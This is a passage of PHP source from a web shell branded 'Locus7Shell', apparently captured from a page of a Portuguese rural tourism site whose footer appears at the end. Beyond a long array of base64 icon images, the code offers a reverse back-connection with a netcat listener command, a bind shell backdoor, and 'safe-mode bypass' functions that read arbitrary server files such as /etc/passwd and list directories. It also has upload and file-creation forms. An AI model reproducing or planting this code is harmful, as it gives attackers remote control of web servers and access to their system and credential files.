\"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/\". \"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ\". \"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA\". \"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ\". \"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A\". \"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z\". \"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA\". \"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/\". \"AQEAOw==\", \"sql_button_empty\"=> \"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/\". \"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm\". \"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/\". \"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm\". \"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/\". \"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm\". \"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/\". \"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ\". \"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA\". \"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ\". \"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A\". \"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z\". \"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA\". \"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==\", \"sql_button_insert\"=> \"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/\". \"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm\". \"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/\". \"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm\". \"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/\". \"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm\". \"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/\". \"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ\". \"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA\". \"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ\". \"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A\". \"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z\". \"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA\". \"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=\", \"up\"=> \"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA\". \"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg\". \"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV\". \"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==\", \"write\"=> \"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA\". \"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze\". \"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61\". \"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==\", \"ext_asp\"=> \"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/\". \"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI\". \"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=\", \"ext_mp3\"=> \"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU\". \"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc\". \"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=\", \"ext_avi\"=> \"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM\". \"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4\". \"PYXCyg+V2i44XeRmSfYqsGhAAgA7\", \"ext_cgi\"=> \"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9\". \"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6\". \"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S\". \"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ\". \"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM\". \"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD\". \"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi\". \"RYtMAgEAOw==\", \"ext_cmd\"=> \"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI\". \"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN\". \"dmrYAMn1onq/YKpjvEgAADs=\", \"ext_cpp\"=> \"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC\". \"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra\". \"Eq7YrLDE7a4SADs=\", \"ext_ini\"=> \"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL\". \"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM\". \"SnEjgPVarHEHgrB43JvszsQEADs=\", \"ext_diz\"=> \"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs\". \"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv\". \"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3\". \"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr\". \"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX\". \"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA\". \"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW\". \"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK\". \"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm\". \"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg\". \"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF\". \"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA\". \"Ow==\", \"ext_doc\"=> \"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR\". \"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq\". \"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=\", \"ext_exe\"=> \"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7\". \"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt\". \"xhIAOw==\", \"ext_h\"=> \"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB\". \"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo\". \"Wq/NknbbSgAAOw==\", \"ext_hpp\"=> \"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF\". \"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR\". \"UqUagnbLdZa+YFcCADs=\", \"ext_htaccess\"=> \"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6\". \"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ\". \"AAA7\", \"ext_html\"=> \"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz\". \"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P\". \"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk\". \"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR\". \"ADs=\", \"ext_jpg\"=> \"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA\". \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci\". \"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd\". \"FxEAOw==\", \"ext_js\"=> \"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH\". \"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs\". \"a00AjYYBbc/o9HjNniUAADs=\", \"ext_lnk\"=> \"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO\". \"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi\". \"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk\". \"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG\". \"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA\". \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5\". \"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf\". \"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ\". \"ADs=\", \"ext_log\"=> \"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA\". \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN\". \"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==\", \"ext_php\"=> \"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg\". \"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==\", \"ext_pl\"=> \"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo\". \"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7\", \"ext_swf\"=> \"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O\". \"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA\". \"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA\". \"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC\". \"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=\", \"ext_tar\"=> \"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC\". \"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF\". \"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD\". \"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p\". \"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg\". \"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd\". \"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB\". \"u4tLAgEAOw==\", \"ext_txt\"=> \"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ\". \"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7\". \"UpPWG3Ig6Hq/XmRjuZwkAAA7\", \"ext_wri\"=> \"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA\". \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao\". \"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=\", \"ext_xml\"=> \"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA\". \"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\". \"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx\". \"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ\". \"IQA7\" ); //For simple size- and speed-optimization. $imgequals = array( \"ext_tar\"=>array(\"ext_tar\",\"ext_r00\",\"ext_ace\",\"ext_arj\",\"ext_bz\",\"ext_bz2\",\"ext_tbz\",\"ext_tbz2\",\"ext_tgz\",\"ext_uu\",\"ext_xxe\",\"ext_zip\",\"ext_cab\",\"ext_gz\",\"ext_iso\",\"ext_lha\",\"ext_lzh\",\"ext_pbk\",\"ext_rar\",\"ext_uuf\"), \"ext_php\"=>array(\"ext_php\",\"ext_php3\",\"ext_php4\",\"ext_php5\",\"ext_phtml\",\"ext_shtml\",\"ext_htm\"), \"ext_jpg\"=>array(\"ext_jpg\",\"ext_gif\",\"ext_png\",\"ext_jpeg\",\"ext_jfif\",\"ext_jpe\",\"ext_bmp\",\"ext_ico\",\"ext_tif\",\"tiff\"), \"ext_html\"=>array(\"ext_html\",\"ext_htm\"), \"ext_avi\"=>array(\"ext_avi\",\"ext_mov\",\"ext_mvi\",\"ext_mpg\",\"ext_mpeg\",\"ext_wmv\",\"ext_rm\"), \"ext_lnk\"=>array(\"ext_lnk\",\"ext_url\"), \"ext_ini\"=>array(\"ext_ini\",\"ext_css\",\"ext_inf\"), \"ext_doc\"=>array(\"ext_doc\",\"ext_dot\"), \"ext_js\"=>array(\"ext_js\",\"ext_vbs\"), \"ext_cmd\"=>array(\"ext_cmd\",\"ext_bat\",\"ext_pif\"), \"ext_wri\"=>array(\"ext_wri\",\"ext_rtf\"), \"ext_swf\"=>array(\"ext_swf\",\"ext_fla\"), \"ext_mp3\"=>array(\"ext_mp3\",\"ext_au\",\"ext_midi\",\"ext_mid\"), \"ext_htaccess\"=>array(\"ext_htaccess\",\"ext_htpasswd\",\"ext_ht\",\"ext_hta\",\"ext_so\") ); if (!$getall) { header(\"Content-type: image/gif\"); header(\"Cache-control: public\"); header(\"Expires: \".date(\"r\",mktime(0,0,0,1,1,2030))); header(\"Cache-control: max-age=\".(60*60*24*7)); header(\"Last-Modified: \".date(\"r\",filemtime(__FILE__))); foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} if (empty($images[$img])) {$img = \"small_unk\";} if (in_array($img,$ext_tar)) {$img = \"ext_tar\";} echo base64_decode($images[$img]); } else { foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo(\"Warning! Remove \\$images[\".$d.\"]
    \");}}}} natsort($images); $k = array_keys($images); echo \"
    \"; foreach ($k as $u) {echo $u.\":
    \";} echo \"
    \"; } exit; } if ($act == \"about\") {echo \"
    Credits:
    Idea, leading and coding by tristram[CCTeaM].
    Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].
    Thanks all who report bugs.
    All bugs send to tristram\'s ICQ #656555 .
    \";} if ($act == \"backc\") { $ip = $_SERVER[\"REMOTE_ADDR\"]; $msg = $_POST[\'backcconnmsg\']; $emsg = $_POST[\'backcconnmsge\']; echo(\"
    Back-Connection:

    Host: Port: Use:
    Click \'Connect\' only after you open port for it first. Once open, use NetCat, and run \'nc -l -n -v -p 5992\'

    \"); echo(\"$msg\"); echo(\"$emsg\"); } if ($act == \"shbd\"){ $msg = $_POST[\'backcconnmsg\']; $emsg = $_POST[\'backcconnmsge\']; echo(\"
    Bind Shell Backdoor:

    Bind Port:
    \"); echo(\"$msg\"); echo(\"$emsg\"); echo(\"
    \"); } ?>

    Enter:
    \">\">\"> 
    Select:
    act=cmd\" method=\"POST\">\"> 

    Useful Commands
    \">
    \">  
    Warning. Kernel may be alerted using higher levels
    Kernel Info:
    \">

    Php Safe-Mode Bypass (Read Files)

    \">
    File:

    eg: /etc/passwd
    Trying To Get File $get
    \"; if(copy(\"compress.zlib://\".$file, $temp)){ $fichier = fopen($temp, \"r\"); $action = fread($fichier, filesize($temp)); fclose($fichier); $source=htmlspecialchars($action); echo \"
    Start $get

    $source

    Fin $get
    \"; unlink($temp); } else { die(\"
    Sorry... File \".htmlspecialchars($file).\" dosen\'t exists or you don\'t have access.
    \"); } echo \"
    \"; } if(isset($_GET[\'file\'])) { rsg_read(); } ?> $chemin
    \"; foreach ($files as $filename) { echo \"
    \";
       echo \"$filename\\n\";
       echo \"
    \"; } } if(isset($_GET[\'directory\'])) { rsg_glob(); } ?>
    Php Safe-Mode Bypass (List Directories):
    \">

    Dir:

    eg: /etc/

    Search
    \">  - regexp 

    Upload
     

    Make Dir
    \">\">\"> 
    Make File
    \">\"> 

    Go Dir
    \">\"> 
    Go File
    \">\">\"> 

    --[ x2300 Locus7Shell v. Modded by #!physx^ | www.LOCUS7S.com | Generation time: ]--

    Destaques

    Monte João Roupeiro
    Algarve

    Herdade dos Barros
    Alentejo

    Hotel Rural Maria da Fonte
    Porto e Norte de Portugal

    Vicentina Aparthotel
    Algarve
         
    Mundo Rural Tropitur
    © 2005 - Mundo Rural | Todos los derechos reservados.